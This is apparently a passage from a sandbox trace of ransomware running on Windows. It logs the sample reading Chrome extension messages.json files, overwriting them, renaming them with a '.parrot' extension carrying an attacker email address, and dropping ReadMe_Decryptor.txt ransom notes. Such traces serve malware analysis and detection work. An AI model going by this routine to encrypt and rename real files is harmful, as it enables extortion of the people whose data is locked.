HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240da8 | out: hHeap=0x5b0000) returned 1 [0056.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0056.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x2240da8 [0056.305] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.306] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.306] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.306] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.306] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.306] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.306] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.306] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.306] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd9 [0056.306] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.306] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.306] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.307] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.307] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd9, lpOverlapped=0x0) returned 1 [0056.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0056.308] GetLastError () returned 0x0 [0056.308] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0056.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0056.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d9158 [0056.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d92a0 [0056.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9158 | out: hHeap=0x5b0000) returned 1 [0056.309] WriteFile (in: hFile=0x288, lpBuffer=0x5d92a0*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d92a0*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0056.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d92a0 | out: hHeap=0x5b0000) returned 1 [0056.309] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.309] CloseHandle (hObject=0x288) returned 1 [0056.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9158 [0056.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d9290 [0056.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9158 | out: hHeap=0x5b0000) returned 1 [0056.310] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9290 | out: hHeap=0x5b0000) returned 1 [0056.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0056.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0056.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d90f8 [0056.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.311] GetFileType (hFile=0x288) returned 0x1 [0056.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d9240 [0056.468] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0056.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0056.468] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x2240da8 [0056.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0649a00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb07c67c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.468] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.468] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.468] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0649a00, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0649a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb07c67c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.469] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.469] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0056.469] lstrcmpW (lpString1="fil", lpString2=".") returned 1 [0056.469] lstrcmpW (lpString1="fil", lpString2="..") returned 1 [0056.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0056.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d8fd0 [0056.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5e20 | out: hHeap=0x5b0000) returned 1 [0056.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0056.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5e20 [0056.469] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.586] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.586] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.586] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.586] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.586] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.586] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.586] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.586] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe0 [0056.586] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.586] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.587] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0056.587] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d9170 [0056.588] GetLastError () returned 0x0 [0056.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0056.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0056.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d01c0 [0056.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0056.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c0 | out: hHeap=0x5b0000) returned 1 [0056.589] WriteFile (in: hFile=0x288, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0056.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0056.589] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.589] CloseHandle (hObject=0x288) returned 1 [0056.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d01c0 [0056.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0308 [0056.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01c0 | out: hHeap=0x5b0000) returned 1 [0056.590] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 